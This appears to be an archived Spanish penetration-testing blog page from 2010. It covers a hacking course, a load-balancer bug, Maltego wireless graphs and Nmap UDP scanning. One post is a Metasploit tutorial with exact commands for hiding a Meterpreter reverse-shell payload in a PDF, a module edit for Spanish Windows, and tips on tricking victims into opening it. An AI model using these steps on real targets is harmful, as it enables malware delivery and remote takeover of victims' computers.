miércoles, 17 de febrero de 2010

COMBAT Training 2.0 en Colombia

Es un verdadero placer anunciar que BASE4 Security y la Comunidad DragonJAR llevarán la versión 2.0 del COMBAT Training a Colombia!

El COMBAT Training es un curso de Ethical Hacking, altamente técnico, y por sobre todas las cosas, muy práctico. La versión 2.0 del mismo, se estrenará recién en Marzo, y posee todos los contenidos totalmente actualizados.


Debido a la gran acogida que tuvo el training en Colombia, se realizarán 2 ediciones del mismo, en las principales ciudades de este país:

- BOGOTÁ:   5 al 9 de Abril
- MEDELLÍN:   12 al 16 de Abril

Los cupos para las 2 fechas son limitados, por lo que es importante que se pre-registren en este formulario.

Por cualquier consulta sobre los trainings en Bogotá y Medellín, o la edición en Buenos Aires del 22 al 26 de Marzo, contactarse con Sol Argento en esta dirección: sargento (arroba) base4sec.com

INFO RELACIONADA:

Publicado por Leonardo Pigñer en KungFooSion.blogspot.com

lunes, 15 de febrero de 2010

Embebiendo un Ejecutable dentro de un PDF con MetaSploit

En este artículo, vamos a ver como embeber un archivo ejecutable ".exe", dentro de un archivo PDF, utilizando el módulo "adobe_pdf_embedded_exe" de MetaSploit.

Leyendo el blog de F-Secure, me encontré con un post sobre PDF maliciosos que estaban siendo utilizados para ataques de espionaje. Al ser abiertos, dropeaban y corrían un archivo ejecutable, en este caso un Poison Ivy que luego se conectaba a una IP de Singapore.


MetaSploit: adobe_pdf_embedded_exe

Para testear el comportamiento de nuestros usuarios, ante una amenaza similar a esta, podemos replicar este ataque con el módulo "adobe_pdf_embedded_exe" de MetaSploit, en donde vamos a embeber un archivo ejecutable ".exe", o un payload de MetaSploit, dentro de un archivo PDF.

Por supuesto vamos a necesitar realizar un poco de ingeniería social, primero para que la víctima abra el PDF que le enviamos, y luego, para que ignore el warning de seguridad que aparecerá cuando se intente ejecutar el payload malicioso.

Lo interesante del módulo "adobe_pdf_embedded_exe", es que nos permitirá embeber el payload en cualquier PDF existente, lo que nos allanará el camino para realizar la ingeniería social. Por ejemplo, podríamos buscar PDF's existentes de una víctima en particular en Google:


Otra cosa a tener en cuenta, es que este módulo tiene rank de Excellent, por lo que es una buena opción, ante otros exploits para client side attacks que no son tan estables.


Embebiendo un Payload de MetaSploit en un PDF

Para embeber un payload, simplemente lo configuramos como a cualquier otro exploit, solamente debemos tener en cuenta que en la opción "INFILENAME" vamos a poner el path al archivo PDF que queremos utilizar, y en la opción "FILENAME", el nombre del nuevo archivo PDF con el payload embebido:

use windows/fileformat/adobe_pdf_embedded_exe
set INFILENAME /tmp/programa.pdf
set FILENAME evil.pdf
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.102
exploit

Luego deberemos dejar escuchando por la conexión reversa que se va a generar una vez que la víctima abra el PDF:
./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.102 E

Cuando la víctima abra el archivo PDF, verá un warning:



Al momento de presion "Open", el payload será dropeado en el sistema, y un script intentará correrlo. Como el target de este módulo es Windows XP SP3 English, vemos en el warning que el payload es buscado dentro de "Desktop", "My Documents" y "Documents".

Para que funcione con un XP en español, debemos agregar en el código del módulo, los directorios "Escritorio" y "Mis Documentos", y volver a generar el PDF:
# editamos el módulo:
/framework3/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb

# reemplazamos la siguiente línea:
dirs = [ "Desktop", "My Documents", "Documents" ]

# por la siguiente línea:
dirs = [ "Desktop", "My Documents", "Documents", "Escritorio", "Mis Documentos" ]

Ahora si, se ejecutará el payload, y como podemos ver, lo hicimos con un Windows XP SP2 en Español:


Si vimos atentamente el warning, pudimos apreciar que al ejecutar el payload dropeado, lo hace de esta forma: "start programa.pdf".

El archivo que enviamos a la víctima se llamaba "evil.pdf", cuando dropeo el payload lo hizo con el nombre "programa.pdf", como el nombre del PDF verdadero que configuramos oportunamente. En realidad, "programa.pdf" es un archivo ".exe", con el payload de Meterpreter, pero como el comando "start" puede correr un ejecutable, sin importar la extensión que posea, esta hecho de esta forma para que el ataque pase un poco más desapercibido.


Embebiendo un Ejecutable en un PDF

Para embeber un archivo ejecutable dentro de nuestro PDF, simplemente configuramos la opción "EXENAME". En este caso estamos embebiendo la famosa calculadora de Windows "calc.exe":

set EXENAME /tmp/calc.exe
set INFILENAME /tmp/programa.pdf
exploit

Si bien el PAYLOAD no debería ser necesario configurarlo, ya que no estamos embebiendo un payload sino el ejecutable "calc.exe", por alguna razón si no lo configuramos no nos deja seguir.

set PAYLOAD windows/shell/bind_tcp
Cuando la víctima abra el archivo PDF, verá el warning pero ya con los directorios que agregamos:


Una vez que la víctima presione "Open", se correrá el archivo ejecutable que embebimos, el famoso "calc.exe":


Eso es todo amigos :-)

Publicado por Leonardo Pigñer en KungFooSion.blogspot.com

miércoles, 10 de febrero de 2010

Load Balancing, ¿avanzado?

Unos compañeros se encontraron en un cliente con un Firewall UTM, de un conocido fabricante, que tenía una forma muy peculiar de realizar el Load Balancing.

Antes de distribuir la carga, el Load Balancer debe verificar que el host tenga el servicio corriendo, esto se puede realizar de muchas sencillas formas, pero aquí es en donde este conocido Firewall fallaba mayúsculamente.

Para verificar el servicio poseía dos métodos, una enviando un PING, que obviamente no nos asegura que el servicio este levantado, y otra en donde realiza una conexión TCP al puerto en cuestión, que en principio debería ser más que suficiente.

La teoría nos dice que si enviamos un SYN, y recibimos un SYN/ACK, entendemos que el puerto esta abierto, y por ende le podemos enviar tráfico. Ahora, este Firewall, tomaba al puerto abierto con cualquier respuesta que le llegaba, por lo que si recibía un RST del SO, porque el puerto estaba cerrado, también le enviaba tráfico. :D

El problema se resolvió filtrando los RST que salían desde estos hosts hacia el Firewall, de esa forma solo enviaría carga cuando reciba un SYN/ACK del puerto. El fabricante del Firewall fue informado del asunto y prometio solucionarlo para la próxima versión.

Es realmente increíble las cosas que se encuentran en productos comerciales, y después uno se sorprende cuando se publica algún bug grosero.

Publicado por Leonardo Pigñer en KungFooSion.blogspot.com

martes, 9 de febrero de 2010

KungFooSion Responde!

Querés conocer cual es el origen del universo, te preguntas porque Windows Vista es lento, no lo dudes mas, KungFooSion responde todas tus preguntas!


KungFooSion abre un nuevo canal para que sus lectores obtengan respuestas a todas sus preguntas. Simplemente ingresa al link que se encuentra a continuación y deja tu consulta:

sábado, 6 de febrero de 2010

Transforms para Wireless en Maltego

Recientemente descubrí que Maltego tiene transforms para Wireless que permiten realizar gráficos muy interesantes.

Si bien estos gráficos no tienen nada de novedoso, están buenos para incluirlos en reportes de pentest, y en algunos casos, descubrir algunos clientes que se asocian a diferentes access points.

El primer paso será realizar una captura con airodump-ng:
airodump-ng wlan0 -c 6 -w /tmp/WifiMaltego
Dentro de los archivos generados, hay uno con extensión ".csv", que es el que tiene la información que vamos a utilizar. Abrimos Maltego, y en el objeto "Phrase", ponemos el path al archivo .csv.

Una vez realizado esto, hacemos "botón derecho", y corremos el transform "--list Associates APs" dentro de Wireless:


 A partir de aquí vamos a tener un mapa con todos los APs encontrados:


Dentro de cada objeto de un AP, podemos correr transforms que nos van a permitir graficar, los clientes conectados, el ESSID del AP y el direccionamiento IP utilizado:


Una vez que todo esto también fue graficado, dentro del objeto de cada cliente encontrado, podemos correr el transform "--list Probed ESSIDs", que nos permitirá visualizar a que APs el cliente intento conectarse:


El gráfico final seria el siguiente, con algunas objetos borrados para su mejor visualización. Podemos ver que hay clientes asociados a diferentes APs, que también se han asociado a otros, en este caso el llamado "linksys". Seguramente, no fue a ese AP en particular, sino a otros que tenían el mismo nombre.


MAS INFO:
- Paterva Wiki: Maltego

Publicado por Leonardo Pigñer en KungFooSion.blogspot.com

martes, 2 de febrero de 2010

Port Scanning con Payloads UDP en Nmap

Después de mucho tiempo, Nmap esta sumando payloads UDP a sus últimas versiones, y finalmente el port scanning de puertos UDP sirve para algo.

El scanning de puertos UDP siempre fue considerado un "scanning negativo", ya que solo podíamos estar seguros de los puertos que se encontraban en estado cerrado.

Como UDP no es un protocolo orientado a conexión como TCP, la única respuesta que podíamos recibir del puerto objetivo, era un mensaje de ICMP Port Unreacheable, cuando este se encontraba en estado cerrado, "closed".

Cuando el puerto se encontraba en estado abierto o filtrado, "open|filtered" en Nmap, no recibiríamos ninguna respuesta, porque el paquete UDP  enviado no tenía ningún contenido, no tenía payload. En el caso de que existiera un firewall, que por su política descarte el paquete, tampoco recibiríamos ninguna respuesta.

Pero eso era hasta hace poco, cuando todavía no se habían incorporado payloads. Ahora en cambio, es mas factible que podamos identificar puertos UDP abiertos, ya que al enviarle datos de la aplicación, esta debería responder, y allí lograríamos detectar que el puerto se encuentra abierto: 

root@base4:~# nmap -sU -p 161,5353,31337 10.168.0.245

Starting Nmap 5.20 ( http://nmap.org ) at 2010-01-26 04:21 ARST
Nmap scan report for 10.168.0.245
Host is up (0.0049s latency).
PORT      STATE         SERVICE
161/udp   open|filtered snmp
5353/udp  open          zeroconf
31337/udp closed        BackOrifice
MAC Address: 18:A9:05:FC:B5:09 (Hewlett Packard)

Nmap done: 1 IP address (1 host up) scanned in 1.30 seconds
root@base4:~#

En este ejemplo, realizamos el scanning a los puertos 161, 5353 y 31337 de UDP. Nmap reconoce los puertos, y envía un payload de SNMP al puerto 161 y de MDNS al puerto 5353, al puerto 31337 envía el paquete UDP vacío ya que desconoce cual es la aplicación. Veamos las respuestas:


En las respuestas, podemos identificar un ICMP Port Unreachable del puerto 31337, lo que nos indica que el puerto esta cerrado, una respuesta de MDNS,  que nos indica que el puerto esta abierto, y ninguna respuesta del paquete SNMP, por eso Nmap nos muestra a ese puerto en estado "open|filtered".

Enviar un payload a un puerto no necesariamente nos dirá si este se encuentra abierto, en el caso de SNMP por ejemplo, en donde no recibimos ninguna respuesta, no sabemos si un firewall descarto el paquete, o si el payload no era correcto. Tal vez SNMP estaba corriendo, pero la community enviada por Nmap no era válida, o la versión de SNMP utilizada era otra.

POSTS RELACIONADOS:
- Nmap actualiza su PING
- Cómo Optimizar el Host Discovery en Nmap
- Nunca Confíes En Tus Herramientas
- ¿ Porque Nmap es Lento con Redes Muy Filtradas ?
- PortBunny y la Guerra de los Port Scanners

Publicado por Leonardo Pigñer en KungFooSion.blogspot.com

LinkWithin